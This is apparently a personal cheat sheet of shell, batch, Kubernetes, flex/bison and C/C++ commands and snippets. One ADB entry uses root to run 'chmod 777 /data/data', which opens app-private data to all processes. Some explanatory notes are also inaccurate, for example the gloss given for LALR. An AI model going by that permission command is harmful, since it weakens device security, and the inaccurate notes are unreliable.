#
# CheatSheet
#
#############################################################
#############################################################
## ADB - OnePlus
#############################################################
# Connect to phone and fix file permissions. (oneplus)
adb shell
su
chmod 777 /data/data
#############################################################
## Android
#############################################################
# Copy android files over the network (like myPhoneExplorer)
sudo apt install syncthing
syncthing
# Launch "My Files" on Android.
am start -n 'com.sec.android.app.myfiles/.external.ui.MainActivity'
#############################################################
## Apache
#############################################################
# Start apache server web pages
sudo apachectl start
# Check status of apache server web pages
apachectl status
# Show apache settings as in config files
httpd -S
#############################################################
## Apt Mark
#############################################################
# Prevent certain packages from ever automatically
# upgrading or being removed.
apt-mark hold apksigner
#############################################################
## ASM
#############################################################
# Compile, link, and run assembly program on windows
nasm -fwin64 hello.asm && gcc hello.obj -o hello.exe && hello.exe
#############################################################
## Batch - Conditions
#############################################################
# If statement in windows 10 DOS (windows 10, command prompt)
if exist "C:\Program Files\Git\usr\bin\perl2.exe" (echo FOUND) else (echo not found)
# Batch check if file/folder exists (windows,dos)
set folder=D:\my\ncfile\dev\assets
echo %folder%
IF EXIST %folder% (
echo Yes;
echo 123;
) ELSE (
echo No;
echo 456;
)
# If else statement in windows 10 DOS (windows 10, command prompt)
if "%val%" == "-1" (
echo.
echo Error: No tool provided! tool="%tool%"
echo.
) else (
if "%val%" == "-2" (
echo.
echo Error: Tool "%tool%" is not found in the PATH!
echo.
) else (
echo.
echo Info: %tool% Version: %val%
echo.
)
)
#############################################################
## Batch - Files
#############################################################
# Find all folders (directory)
dir E:\*.* /s /b /ad
# Recursively search through files
findstr /s /c cell *js
#############################################################
## Batch - Foreach Loop
#############################################################
# Windows 10 dos command prompt for each loop
for %a in (path-a, path-b, path-c) do (@echo %a)
#
# Use %%a inside a script (%a on the command line)
for %%a in (
path-a,
path-b,
path-c
) do (
@echo "[%%a]"
)
#############################################################
## Batch - Functions
#############################################################
# It is necessary to "call" each inner batch script
# Otherwise only the first will run.
call myProgram1
call myProgram2
# Create and call a function (Windows,DOS,Functions)
call :my_func
call :my_func
goto :eof
::
:my_func
echo.
echo hey
echo.
exit /b
# Create and call a function with arguments (Windows,DOS,Functions)
call :my_func 1
call :my_func 2
goto :eof
::
:my_func
echo hey %1
exit /b
# Create and call a function with arguments (Windows,DOS,Functions)
# Remove quotes using %~1 syntax
call :my_func "1"
call :my_func "2"
goto :eof
::
:my_func
echo hey %~1
exit /b
# Return a value from a function (Windows,DOS,Functions)
call :my_func "1" val
echo val1: %val%
goto :eof
::------------------------------------------------
:: Functions Section
::------------------------------------------------
:my_func
echo hey %~1
set %~2=INFO
exit /b
# Local (my) variables in a function (Windows,DOS,Functions)
call :my_func "1" val
echo val1: %val%
echo key: %key%
goto :eof
::------------------------------------------------
:: Functions Section
::------------------------------------------------
:my_func
SETLOCAL
set key=not
echo hey %~1
set %~2=INFO
ENDLOCAL
exit /b
# Template (Windows,DOS,Functions)
:get_dir
::
SETLOCAL
set key=%1
set val=
::
for /f "tokens=*" %%a in ('perl get_setup.pl %key%') do set val=%%a
if "%val%" == "" (
echo.
echo Error: Cannot determine %key%!
echo.
)
::
(ENDLOCAL & REM
set "%~2=%val%"
)
goto :eof
#############################################################
## Batch - Shell Substitution
#############################################################
# Shell substitution in Windows
@echo off
for /f "tokens=*" %%A in ('perl -x -S -l %0 %*') do set my_path=%%A
echo Going to : %my_path%
cd %my_path%
#############################################################
## Batch - Strings
#############################################################
# Remove double quotes from a variable in dos (windows 10, command prompt)
set a="here is data"
set a=%a:"=%
echo %a%
# Split long commands unto multiple lines (windows 10,caret)
long command^
can be split^
this this
#############################################################
## Batch - Terminal
#############################################################
# Change the title of the command prompt window
title MY_TITLE
# Change the dimentions/size of a commmand prompt window (length,width)
mode con: cols=80 lines=10
# Temporarily chang ethe command prompt language to english
set LANG=US
# Enable ANSI colors in Windows 10 using system '' (magic!?)
perl -E "system ''; say qq(\033[35mHEY\033[0m)"
# Terminator config location
/home/tim/my/git/otrs/SETUP/terminator/config
#############################################################
## Bison/Flex Parsing (Regex)
#############################################################
# Good tutorial
https://aquamentus.com/flex_bison.html
# Simple Lexer
%{
#include <iostream>
using namespace std;
extern int yylex();
%}
/*
Compile:
win_flex --outfile=mylex.cpp --wincompat my.l && ^
g++ mylex.cpp -o my.exe
Run:
echo "this is test 123" | my.exe
*/
%option noyywrap
%%
[ \t\n]
[0-9]+\.[0-9]+ { cout << "Float: " << yytext << endl; }
[0-9]+ { cout << "Number: " << yytext << endl; }
[A-Za-z0-9]+ { cout << "String: " << yytext << endl; }
. { cout << "Any: " << yytext << endl; }
%%
int main (int argc, char **argv) {
while( yylex() );
return 0;
}
# Info (flex,bison,parse,regex)
# Flex (and Bison) use a Determinitistic Finite Automata (DFA) regex engine.
# Notes on this engine:
# 1. No look arounds (for the most part). These is LALR and GLR.
# a. LALR - Look Around Left Right with one character of look ahead.
# Faster.
# b. GRL - General Left Right. Slowly but more powerful.
# 2. If multiple patterns can match a string selected pattern (winner) is:
# a. Longest string.
# This means that the order of the pattern does not matter. can do this
# and "CMD" will instead of just "C":
. {...}
CMD {...}
# b. Leftmost if multiple patterns of the same length.
# That is why the last pattern should be a simple dot otherwise it may
# match when not intended. plus very hard to detect this bug.
# 3. Use quotes for literal strings
"CMD"
# 4. Flex patterns return tokens that bison can use.
# - yytext contains the actual value/string found.
# - yylval.sval will be carried over to bison if a value is needed.
# 5. Dollar variable ($1..$n) are the values of the tokens
# - Numbering includes actions. $1=CORRUPT $3=CMD below
CORRUPT {cout << "CORRUPT" << endl; }
CMD {cout << "CMD" << endl; }
# - Do not use actions in between $1=CORRUPT $2=CMD
CORRUPT CMD
# Ignore case for the whole parser (flex,bison,parse,regex)
%option case-insensitive
# Left hand side value (flex,bison,parse,regex)
# Acts like a variable that contains the semantic value
# for the grouping made by the current rule.
$$
# Step:1 Add this to file count.l (flex,bison,parse,regex)
%{
int chars = 0;
int words = 0;
int lines = 0;
%}
%%
[a-zA-Z]+ { words++; chars += strlen(yytext); }
\n { chars++; lines++; }
. { chars; }
%%
main(int argc, char **argv)
{
yylex();
printf("%8d%8d%8d\n", lines, words, chars);
}
# Step:2 Build (flex,bison,parse,regex)
# -lfl means to compile using the flex library
flex count.l
gcc lex.yy.c -lfl -o wc2
cat count.l | wc2
%{
#include <iostream>
using namespace std;
#define YY_DECL extern "C" int yylex()
%}
%%
# Step:1 Add this to file look.l (flex,bison,parse,regex,OMS)
[ \t\n] ;
[0-9]+\.[0-9]+ { cout << "Found a float: " << yytext << endl; }
[0-9]+ { cout << "Found an int: " << yytext << endl; }
[a-zA-Z0-0]+ { cout << "Found a string: " << yytext << endl; }
%%
int main(int, char **)
{
yylex();
}
# Step:2 Build (flex,bison,parse,regex,OMS,compile)
# Make a makefile with this
look : *.c
g++ $^ -lfl -o $@
*c : *.l
flex $^
# ERROR: lex.yy.c:(.text+0x6a6): undefined reference to `yywrap' (flex,bison,parse,regex)
# Do one of these:
# 1. Add "%option noyywrap" to flex file
# 2. Add flex library "-lfl" to makefile
# WARNING: rule never reduced because of conflicts (flex,bison,parse,regex,OMS)
bison -v my.y
vi my.output
# Useless nonterminals (flex,bison,parse,regex,OMS)
# Target not used in bison file
debug : ...
# But debug never got used
# Terminals which are not used (flex,bison,parse,regex,OMS)
# Terminal or TOKENs from flex that are not used.
# Match the end-of-file in Flex (flex,bison,parse,regex,OMS)
<<EOF>>
# Character class difference in flex (flex,bison,parse,regex)
[a-z]{-}[aeiou]
# States conditions (flex,bison,parse,regex)
%x eXclusive_state
%s inclusive_state
# %x means that only rules prefixed with the state name will be active when
# the scanner is in that state (think of %x as meaning eXclusive).
# %s means that both rules prefixed by the state name and rules with no state names
# will be active when the scanner is in that state (%s means inclusive, as
# in including states active in the INITIAL state).
# Start a new state (flex,bison,parse,regex)
BEGIN(eXclusive_state);
# Return to original state (flex,bison,parse,regex)
# Stop state
BEGIN(INITIAL);
yylex_destroy(); # in cwrapper();
# View current state level (flex,bison,parse,regex)
{cout << YYSTATE << endl; }
# Convert hex to decimal in c code (flex,bison,parse,regex,c_code)
yylval.ival = strtol(yytext,NULL,0)
# Notes on using strdup (flex,bison,parse,regex)
# Used due to possible bison/flex bugs in string management.
#
# Note that whenever lookup makes a new entry, it calls strdup to make a copy of the
# string to put into the symbol table entry. Flex and bison programs often have hard-to track
# string storage management bugs, because it is easy to forget that the string in
# yytext will be there only until the next token is scanned.
# /*--------------------------------------------------------------------------------------------------------
#
# TVP - 3/8/2018
# Notes on using state conditions in Bison/Flex:
#
# - States tell the parser to allow certain patterns and actions.
# <MY_STATE_1>pattern { action; }
# <MY_STATE_2>pattern { action; }
#
# - By default all patterns without an explicit state are in state "INITIAL" (value of 0).
# (This means all patterns are allowed to be used by default).
# pattern { action; }
# <INITIAL>pattern { action; } // same thing
#
# - A pattern can be used in multiple states by separating each state with a comma ","
# <STATE_1,STATE_2>pattern { action; }
#
# - View a state number (depth) with YYSTATE
# [ ]+ {cout << YYSTATE << endl; } // Print the state number when a space is entered.
#
# - A excellent example of using states is parsing a "C" file with comments:
# / * { BEGIN(COMMENT); } // Start reading comments
# <COMMENT>[NOT_COMMENT_GOES_HERE]+ { action; } // Anything inside the comment
# * / { BEGIN(INITIAL); } // Stop reading comments
#
# - Use BEGIN to select a state.
# / * { BEGIN(COMMENT); }
#
# - Use BEGIN(INITIAL) or possibly BEGIN(0) to reset to the starting state (which is called INITIAL)
# * / { BEGIN(INITIAL); }
#
# - States come in two flavors:
#
# %x eXclusive
# Only rules prefixed with the state name will be active when the scanner is in that
# state (think of %x as meaning eXclusive).
#
# %s inclusive
# Both rules prefixed by the state name and rules with no state names will be active when the
# scanner is in that state (%s means inclusive, as in including states active in the INITIAL state)
# This is useful for a special state that is off by default (such as debug).
#
# - End Of File (EOF) or end of line/string can be found with <<EOF>>
# <<EOF>> { action; }
# <MY_STATE><<EOF>> { action; } // EOF can be limited to certain states
# <INITIAL,MY_STATE><<EOF>> { action; } // Causes infinite loop !!!
# <MY_STATE><<EOF>> { BEGIN(INITIAL); } // Return to INITIAL at end of string
#
# That last line is very useful for clearing the state back to INITIAL, but every state
# (excluding INITIAL) would need to be mentioned like this (due to a possible bug):
# <STATE_1,STATE_2,STATE_3 ... ,STATE_N><<EOF>> { BEGIN(INITIAL); }
#
# It is therefore more convenient that the parser host (that is cwrapper.cpp) were to perform
# a more thorough purging after utilizing the parser by executing the function yylex_destroy()
#
# --------------------------------------------------------------------------------------------------------*/
# Test yacc program to take .y file and convert it into a parsing file (OMS,parse,regex)
cat <HERE >my.y
%token A B C D E
%%
list: A B C
| de
de : D E
HERE
#############################################################
## CKAD (Certified Kubernetes Application Developer) Course
#############################################################
# Useful kubectl commands (CKAD)
kubectl run hello-minikube
kubectl cluster-info
kubectl get nodes
# Docker vs containerd (CKAD)
Docker (d) became the tool.
Originally kubernetes only supported docker.
Kubernetes (k) introduced Contrainer Runtime Interface (CRI)
- Contains Open Container Initiative (OCI)
- Anyone can build a container runtime.
- Other container runtimes: rkt
- Docker was not built to support CRI standards.
- dockershim - hack to still support docker by k.
- containerd can be used on its own.
- in version 1.24 of k, dockershim and docker support was removed.
- containerd is a separate project (no need for docker).
- ctr comes with containerd (not user friendly)
- very limited.
- ctr images pull ...
- ctr run ...
- IGNORE it
- nerdctl (n)
- like docker, plus new features from containerd.
- lazy pulling,
- image signing.
- n run -p 80:80
- For general purpose.
- crictl
- Interacts with CRI compatible tools.
- Not ideal for making containers.
- kubectl is unaware of its usage and may delete pods made using this tool.
- crictl pull ...
- crictl images
- crictl ps -a
- crictl exec -it ... ls
- crictl logs ...
- crictl pods
- crictl --runtime-endpoint (?)
- For DEBUGGING.
# Pods recap (CKAD)
Pod
- Smallest possible creatable object.
kubectl (k)
k run nginx --image nginx
k get pods
# Pods with yaml (CKAD)
# Main fields:
apiVersion: v1 # version of k api
kind: Pod
metadata:
name: myapp-pod
labels:
app: myapp
spec:
# Build manifest files quickly from scratch (CKAD,kubectl)
k run --dry-run=client --image nginx myapp -o yaml > myapp.yaml
k create -f myapp.yaml
# Take existing pod and make yaml manifest. (CKAD,kubectl)
k get pods -o yaml
# Edit existing pod (CKAD)
To modify the properties of the pod,
you can utilize the
kubectl edit pod <pod-name> command.
Please note that only the properties
listed below are editable:
spec.containers[*].image
spec.initContainers[*].image
spec.activeDeadlineSeconds
spec.tolerations
spec.terminationGracePeriodSeconds
# ReplicaSets (CKAD,kubectl)
Provides:
- High Availability (HA)
- Load balancing and scaling.
- Replication Controller (old)
- ReplicaSet (new)
- Requires a selector section.
- Can manage pods not originally created by it.
# Deployments (CKAD,kubectl)
# Uses ReplicaSet.
# Also rolling, seamless updates and rollbacks.
k create deployment myapp --image=nginx --dry-run=client -o yaml > dep.yaml
# View all objects created (CKAD,kubectl)
k get all
# Output options (CKAD,kubectl)
-o <OPTION>
json
name
wide
yaml
# Namespaces (CKAD,kubectl)
Default
kube-system
kube-public - Resources available to all users.
# Namespaces (CKAD,kubectl)
DNS names:
ServiceName.Namespace.Service.Domain
db-service.dev.svc.cluster.local
# Switch namespaces (CKAD,kubectl)
k config set-context $(httpd-frontend) --namespace MY-NS
# Create a resource quota (CKAD,kubectl)
k create quota my-quota -o yaml --dry-run=client > quote.yaml
# Quickly create manifest files (CKAD,kubectl)
https://kubernetes.io/docs/reference/kubectl/conventions/
# Quickly create manifest files (CKAD,kubectl)
# Pod:
kubectl run nginx --image=nginx --dry-run=client -o yaml
# With arguments:
kubectl run myapp --image redis --dry-run=client -o yaml -- --color green
# With Env:
k run myapp --image redis --env VAR=123 --dry-run=client -o yaml
# Quickly create manifest files (CKAD,kubectl)
# Deployment:
kubectl create deployment --image=nginx nginx --dry-run -o yaml
# Quickly create manifest files (CKAD,kubectl)
# Service:
kubectl expose pod redis --port=6379 --name redis-service --dry-run=client -o yaml
#
# Pod and expose Service:
kubectl run httpd --image httpd:alpine --port 80 --expose
# Quickly create manifest files (CKAD,kubectl)
# Ingress:
kubectl create ingress ingress-test --rule="wear.my-online-store.com/wear*=wear-service:80" --dry-run=client -o yaml
# Quickly create manifest files (CKAD,kubectl)
# PersistentVolume (pv)
curl -sL https://k8s.io/examples/pods/storage/pv-volume.yaml -o pv.yml
# Quickly create manifest files (CKAD,kubectl)
# PersistentVolumeClaim (pvc)
curl -sL https://k8s.io/examples/pods/storage/pv-claim.yaml -o pvc.yml
# Quickly create manifest files (CKAD,kubectl)
# pod with a pv
curl -sL https://k8s.io/examples/pods/storage/pv-pod.yaml -o pv-pod.yml
# Example of using curl to query the api-server (CKAD,kubectl)
k run myapp --image nginx
curl 127.0.0.1:8001/api/v1/namespaces/default/pods/myapp
# kube-apiserver config and log (CKAD,debug)
# minikube pre-step:
minikube ssh
#
/etc/kubernetes/manifests/kube-apiserver.yaml
/var/log/containers/kube-apiserver-minikube_kube-system_kube-apiserver-*
# Check connection in a pod to a service (CKAD)
kubectl exec -it webapp-color -- nc -v -z secure-service 80
k exec webapp-color -- nc -vzw 2 secure-service 80
#############################################################
## C,CPP General
#############################################################
# View where a c code function is defined (Symbol table,OMS)
nm file -l 2>/dev/null
080fb204 T function
0804fa75 T function2 file:123
# T - The symbol is in the text (code) section
# Uppercase means global (external)
# View strings in a binary file
strings <file>
# Turn c code into assembler code
objdump -d <bin_file>
# In C code, pointers and arrays are closely related:
int var[] = {10, 100, 200};
int *ptr = var;
# &ptr is bfbab19c
# &var is bfbab1a0
# ptr is bfbab1a0
# var is bfbab1a0
# &ptr[0] is bfbab1a0
# &var[0] is bfbab1a0
# In C code, array name, address of array name, and
# address of first array element are all the same
var is bffddf20
&var is bffddf20
&var[0] is bffddf20
# Array of pointer in c code
# Array of strings
char *name[] = {
"name1",
"name2",
"name3",
"name4",
"name5",
"name6",
};
# Read from the command line in c code
int main(int argc, char *argv[])
# Process command line inputs in c code
#include<stdio.h>
int main(int argc, char *argv[]){
int i;
for(i=0; i<argc; i++){
printf("argv[%d]: %s\n", argc, argv[i]);
}
return(0);
}
# Get ascii and characters in c code (DES)
printf("d:%d c:%c\n", 'A', 'A');
# Rename the oms trace files
ls -1 | perl -lpe '$o=$_; s/_[c0][a-z0-9]*_\d+//; rename $o => $_'
# Call C++/CPP function from C Step 1(OMS)
# Put code inside:
#ifdef __cplusplus
# // c++ code goes here
#endif
# Call C++/CPP function from C Step 2(OMS)
# Make external the function
extern "C" void my_func(void);
# Macro function in c code (OMS,bison,flex)
#define DEBUG 1
#define PRINT_IN_DEBUG(token) if(DEBUG){ cout << " Flex saw [" << yytext << "] (" << token << ")" << endl; }
# Use value from a string.
# Convert "std:string" to "const char *"
std::string name
name.c_str()
# Convert "std:string" to "char *"
std::string name
&name[0u]
# Read lines from a file (c program)
char *file_name = strcat(name, ".cmd");
char line[512];
FILE *fp;
fp = fopen(file_name, "r");
if(fp == NULL)
{
sendlog("ERROR: Could not open file: '%s'", file_name);
return 1;
}
while (fgets( line, sizeof(line), fp ) != NULL)
{
line[strlen(line) - 1] = '\0';
sendlog("Line1: '%s'", line);
yyParseAndExecute( line );
}
# The -m32 flag is necessary for both compiling and linking (gcc,DES)
# Sample C program. Prints to STDOUT and STDERR
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
fprintf(stderr, "Select folder:\n");
fprintf(stderr, "1 C:\\TOOLS\n");
fprintf(stderr, "2 C:\\BAT\n");
printf("C:\\TOOLS\n");
fprintf(stderr, "3 C:\\BAT2\n");
return 0;
}
# Fix Error: forbids converting a string constant to 'char*'
argv[1] = (char *) "name = bob";
#############################################################
## C,CPP - Options/Environmental Variables
#############################################################
# C,CPP - Options/Environmental Variables
C_INCLUDE_PATH - Additional directories to
search for C header files.
LIBRARY_PATH - Additional directories to
search for libraries during
linking.
LD_LIBRARY_PATH - Additional directories to
search for shared libraries
at runtime.
-I - Specify additional directories
to be searched for header
files during compilation.
-L - Specify additional directories
to be searched for libraries
during linking.
#############################################################
## C,CPP Asynchronous (Threads)
#############################################################
# Run a process/function async (thread)
# Add this to makefile
LIB += -pthread
#
# Add library
#include <pthread.h>
#
# Declare threads
pthread_t threads[1];
#
# Create threads and get return code
# Sending pattern as parameter (only one allowed)
# Thread ID is first parameter
int rc;
rc = pthread_create(&thread, NULL, send_thread, (void *) pattern );
pattern->tid = thread; // Save thread ID so we can later kill it (if needed)
if(rc) return; // Error
#
# Check return value
if(rc) sendlog("ERROR: return code from pthread_create() is %d", rc);
#
# Function is declared like this:
void *send_thread (void * args){
COMMAND_PATTERN* pattern = (COMMAND_PATTERN*) args; // Can use pattern normally
...
}
#
# Make sure to end the function with this:
# (it will exit the thread. don't use in main otherwise will get defunct/zombie process)
pthread_exit(NULL);
# Determine version and library used for threads
# NPTL - Native POSIX Threads Library # Threads share PID
# LinuxThreads # May be different PIDs (plus may other differences)
getconf GNU_LIBPTHREAD_VERSION # NPTL 2.7
#############################################################
## C,CPP - Debug
#############################################################
# Sleepy poll (debug,ddd,gdb,break)
# How to debug a progam
# Then after getting in using ddd, set wait_variable=0
int wait_variable = 1; while (wait_variable) sleep(1);
# Debug a UI program (DES,UI)
# Flags after --args are passed to the program
gdb progarm --args arg1 arg2
# Debug a c program given its pid (DES,UI)
gdb --pid 21620
gdb --pid `myps | grep snv | grep -v grep | awk '{print $4}'`
# gdb debugger navitation (commands,DES,UI)
(gdb) l[ist] # view code
(gdb) l[ist] main # view main code
(gdb) b[reak] main # Put a breakpoint at main()
(gdb) r[un] # start the program
(gdb) h[elp] all # View all help sections
(gdb) f[rame] # Show current line (line number and file)
(gdb) c[ontinue] # Continue to a breakpoint
(gdb) d[elete] # Delete all breakpoints
# View all functions in ddd (gdp,debugger)
info functions
# View entry point of executable program (OMS)
readelf -h omsGUI | grep "Entry point address"
# was: 0x80524a0
ddd <pid>
att <pid>
b * 0x80524a0
c
# Problem: Debugger (ddd,gdb) is ignoring my breakpoint and
# moving unto another function
# Answer: Add this line inside the function you want to breakpoint
# Note: Causes a segmentation fault SIGSEGV
*(char*)0 = 0;
# Set outer variable in bash shell (hack)
a=123; (gdb --batch-silent -ex "attach $$" -ex 'set bind_variable("a", "456", 0)'); echo $a
#############################################################
## C,CPP - Errors
#############################################################
# Error: Illegal deallocation of memory
//
// my.c:
// #include <stdio.h>
// #include <stdlib.h>
// #include <string.h>
//
// int main(int argc, char ** argv){
// char * str;
//
// if (argc>1) {
// str = (char *) malloc(10);
// }
//
// printf("Str: %s\n",str);
// free(str);
//
// return 0;
// }
//
// MAKE.bat
g++ my.c -o my.exe
# Try Catch in Cpp
# No throw means no catch
//
#include <iostream>
using namespace std;
int main(int,char**){
int n = 10;
int m = 0;
try {
// if( m == 0 ) throw "Division by zero condition!";
int val = n / m;
cout << "Divided: " << val << endl;
}
catch (...){
cout << "Caught error" << endl;
}
cout << "DONE" << endl;
return 0;
}
# Nested Try Catch in Cpp
# No throw means no catch
//
#include <iostream>
using namespace std;
int main(int,char**){
int n = 10;
int m = 0;
int val;
try {
try {
if( m == 0 ) throw "Division by zero condition!";
val = n / m;
cout << "Divided: " << val << endl;
}
catch (runtime_error& e){ cout << "Caught inner error1" << endl; }
catch (out_of_range& e) { cout << "Caught inner error2" << endl; }
}
catch (...){ cout << "Caught outer error" << endl; }
cout << "DONE" << endl;
return 0;
}
#############################################################
## C,CPP - File Handles
#############################################################
# Open a file in CPP. This ensures the file exists.
MY_FILEHANDLE.open(SMART_FILE_PATH, std::ios::in | std::ios::out | std::ios::app);
MY_FILEHANDLE.close();
MY_FILEHANDLE.open(SMART_FILE_PATH, std::ios::in | std::ios::out);
#############################################################
## C,CPP - Header Files
#############################################################
# Missing sys/cdefs.h header file (DES,library)
sudo apt-get install libc6-dev-i386
# Missing curses.h 32 bit (DES,library)
sudo apt-get install lib32ncurses5-dev
# Missing readline/history.h header file (DES,library)
sudo apt-get install libreadline-dev
# Missing libelf.h header file (DES,library)
sudo apt-get install libelf-dev libelfg0
# Missing dwarf.h header file (DES,library)
sudo apt-get install libdwarf-dev
# Missing y.tab.h header file (DES,library)
sudo apt-get install byacc bison flex
#############################################################
## C,CPP - Functions
#############################################################
# Define a pure virtual function (OMS,cpp)
# It must be overriden/inherited in a derived class
virtual void func( int option, int count, int start_bit, int end_bit) = 0;
#############################################################
## C,CPP - Map
#############################################################
# std::map to std::string conversion in cpp
std::string column_names_new = "";
int count = 0;
for (auto const& item : map_column_names) {
std::string key = item.first;
std::string value = std::to_string(item.second);
std::string delim = count++ ? "," : "";
column_names_new += delim + key + ":" + value;
}
# Loop through std::map
for (auto &set : myMap)
{
std::string key = set.first;
std::string val = set.second;
}
#############################################################
## C,CPP - Regex
#############################################################
# Cpp check if regex is empty
if (!matches[2].str().empty())
table = matches[2];
# Simple program to use/test regular expressions in cpp
//
#include <iostream>
#include <string>
#include <regex>
using namespace std;
int main(){
std::string str = "/tooltypes.html/table=1";
std::smatch matches;
std::regex_search( str, matches, std::regex("table=([01])") );
for(auto val: matches)
cout << val << endl;
return 0;
}
# There are 2 main matching functions (cpp,regex)
- std:regex_match // Match the whole string /^ string $/
- std:regex_search // Match a partial string / string /
# Check for the existence of a string (cpp,regex)
if(std::regex_search(line, std::regex("^\\s*#")))
continue;
# Cpp regex substitution (replace)
// Remove invalid characters
timestamp = std::regex_replace(timestamp, std::regex("\\W+"), "-");
//
// Remove leading and/or trailing dashes if any
timestamp = std::regex_replace(timestamp, std::regex("^-+"), "");
timestamp = std::regex_replace(timestamp, std::regex("-+$"), "");
// Loop through all matches in cpp (like /(\w+)/g in perl)
std::string body = "";
std::string info = "uname='NAME', version='VERSION'";
std::regex hasKeyVal("(\\w+)='([^']*)'");
std::sregex_iterator it = sregex_iterator(info.begin(), info.end(), hasKeyVal);
while(it != std::sregex_iterator()) {
std::smatch match = *it;
std::string key = match.str(1);
std::string value = match.str(2);
cout << "key: " << key << endl;
cout << "value: " << value << endl;
it++;
}
# Thread safe and not safe regeular expressions in Qt (Cpp Qt Regex)
// Declare
#include <QRegularExpression>
#define THREAD_SAFE_REGEX
#ifdef THREAD_SAFE_REGEX
QRegularExpression MoveCheckRegex;
#else
QRegExp *MoveCheckRegex=nullptr; //constant one high performance
#endif
# Thread safe and not safe regeular expressions in Qt (Cpp Qt Regex)
// Definition
#ifdef THREAD_SAFE_REGEX
MoveCheckRegex.setPattern("(?=^[ABCFGIJKNXYZ\\d][\\d +-])((?:N?[\\s0-9]+)?(?:G[0123]{1,2})?(?:(?:[XYFZNABCIJK\\s]{1,2})(?:[0-9.\\s+-])+)+)");
#else
MoveCheckRegex = new QRegExp(QString("(N?[\\s0-9]+)?(G[0123]{1,2})?(([XYFZNABCIJK\\s]{1,2})([0-9.\\s+-])+)+"));
#endif
# Thread safe and not safe regular expressions in Qt (Cpp Qt Regex)
// Usage
#ifdef THREAD_SAFE_REGEX
// QRegularExpressionMatch match = MoveCheckRegex.match(line);
// if (match.hasMatch())
// {
// if (match.capturedLength()==line.length()) return true;
// }
if(MoveCheckRegex.match(line).hasMatch()) return true;
#else
if (MoveCheckRegex->indexIn(line)>=0)
{
if (MoveCheckRegex->matchedLength()==line.length()) return true;
}
#endif
# Thread safe and not safe regeular expressions in Qt (Cpp Qt Regex)
// Cleanup
#ifdef THREAD_SAFE_REGEX
#else
delete MoveCheckRegex;
#endif
#############################################################
## C,CPP - Shared Libraries (.so)
#############################################################
# Difference between .so and .a (DES)
.a - current ar archive
Static library.
.so - dynamically linked (dll on Windows)
Linked only when needed.
Reduces size of executable.
# Step:1 Compile with Position Independent Code (PIC,shared library)
gcc -c -Wall -Werror -fpic foo.c
# Step:2 Create a shared library from an object file
gcc -shared -o libfoo.so foo.o
# View contents of a shared library (files)
ldd libfoo.so
# Step:3 Linking with a shared library
gcc -Wall -o tool main.c libfoo.so
gcc -Wall -o tool main.c -lfoo -L.
# Step:4 Making the library available at runtime
# Will normally get warning "cannot open shared object file"
./tool
#
# Option_1: Fix that by telling the loader (ld) where your file is located
# Can be done even if -rpath used was a different path
export LD_LIBRARY_PATH=~/<USER>/pad/c # Either one
export LD_LIBRARY_PATH=$PWD
export LD_LIBRARY_PATH=. # Always in same place as tool
#
# Option_2: Fix that by using -rpath
gcc -Wall -o tool main.c -lfoo -L. -Wl,-rpath=$PWD
# View system shared libraries
ldconfig -p
# Update the cache to the system shared libraries
sudo ldconfig
#
# Place your .so file if you want everyone to use it:
cd /usr/lib # Or
cd /usr/local/lib
# View unsued shared library symbols
ldd -r tool
# View the dynamic sections of a shared library. (.so)
# Shows RPATH which is the path to the library (per design).
# This is the private header information.
objdump -p tool
#############################################################
## C,CPP - Signals
#############################################################
# Syntax for connect
connect(sender_object, &sender_object::signal, receiver_object , &receiver_object::slot);
#############################################################
## C,CPP - Socket Programming
#############################################################
# Protocol families, same as address families (socket)
vii /usr/src/linux/include/linux/socket.h:204
#define PF_INET AF_INET
# Client address given a request (c,cpp)
const HTTPServerRequest &request
auto clientAddress = request.clientAddress().host().toString();
#############################################################
## C,CPP - Static Archive Library (.a)
#############################################################
# View contents of an archive library
# "Tell me"
ar -t libOmsFilter.a
ar -tv libOmsFilter.a
# Add new files to archive
ar -rv libMy.a 1.o 2.o
# Show verbose messages (info)
ar -rv libMy.a 1.o
# Append to archive (no duplicates)
# "Read-in"
ar -rv libMy.a 1.o
ar -rv libMy.a 2.o
ar -rv libMy.a 3.o
# Append to archive (allow duplicates)
ar -qv libMy.a 1.o
ar -qv libMy.a 1.o
ar -qv libMy.a 1.o
# Delete a member from an archive
ar -dv libMy.a 1.o
# Checkout a member from an archive
# "Extract" (but still stays in archive)
ar -xv libMy.a 1.o
# Insert after 1.o (order,archive)
ar -rav 1.o libMy.a 3.o 4.o 5.o
#
# Order is not quite expected since the insert location
# is constant ("|" below).
# 1.o | 5.o 4.o 3.o 2.o
# Update a member of an archive of if a newer file exists
ar -ruv libMy.a 1.o
# Alternate syntax to link to an archive library
-lABC # looks for libABC.so, then for libABC.a
-l:libABC.a # Looks for libABC.a (more explicit, but simplier)
#############################################################
## C,CPP - String
#############################################################
# Convert anything to a string in cpp using string streams (DWORD,int)
#include <string>
#include <sstream>
if(it->GetName() == L"MyProg.exe"){
std::stringstream ss;
ss << "taskkill /T /F /PID " << it->GetPID();
std::string command = ss.str();
system(command.c_str());
}
# String comparison breakpoint in Visual studio
strcmp(static_cast<const char *>(name),"place_absolute")==0
// In cpp split a string by a delimeter and put the contents into a map (or vector)
std::map<std::string, int> map_column_names;
std::istringstream ss(default_columns);
std::string token;
while (std::getline(ss, token, ',')) {
map_column_names[token] = 1;
}
# Convert a float to an integer in cpp.
int myInt = static_cast<int>(myFloat);
# Check if a string is NOT found in a vector in cpp
# This returns a bool (true if present, false otherwise)
#
if ( std::find(vec.begin(), vec.end(), item) == vec.end() )
do_this();
else
do_that();
# Cpp double to string conversion
std::string makeTime = std::to_string(time_span.count());
# Cpp uses floor() to get the integer part of a float.
# like int() in perl.
# ceil() returns the smallest integer, but rounding up.
#
# ceil did not for so used this instead:
int total_pages = (amount + tool_limit - 1) / tool_limit;
# Cpp std::string for const char *
string myStr;
myStr.c_str();
# Raw string in CPP. Do not need to escape characters.
# R"ABC(TEXT)ABC";
#
R"sql(CREATE TABLE IF NOT EXISTS version (
version INTEGER
);)sql"
#############################################################
## C,CPP - Templates
#############################################################
# Function Template example in Cpp
// Make a generic to_string function to convert anything to a string
//
#include <string>
#include <sstream>
//
template <typename T>
std::string to_string (T data) {
std::stringstream ss;
ss << data;
return ss.str();
}
#############################################################
## C,CPP - Threads
#############################################################
# Get the current thread's name (like thread ID, tid)
QThread::currentThread()->objectName()
#############################################################
## C,CPP - Timer
#############################################################
# Timer in Cpp
#
#include <ctime>
#include <chrono>
std::chrono::high_resolution_clock::time_point t1 = std::chrono::high_resolution_clock::now();
// run something
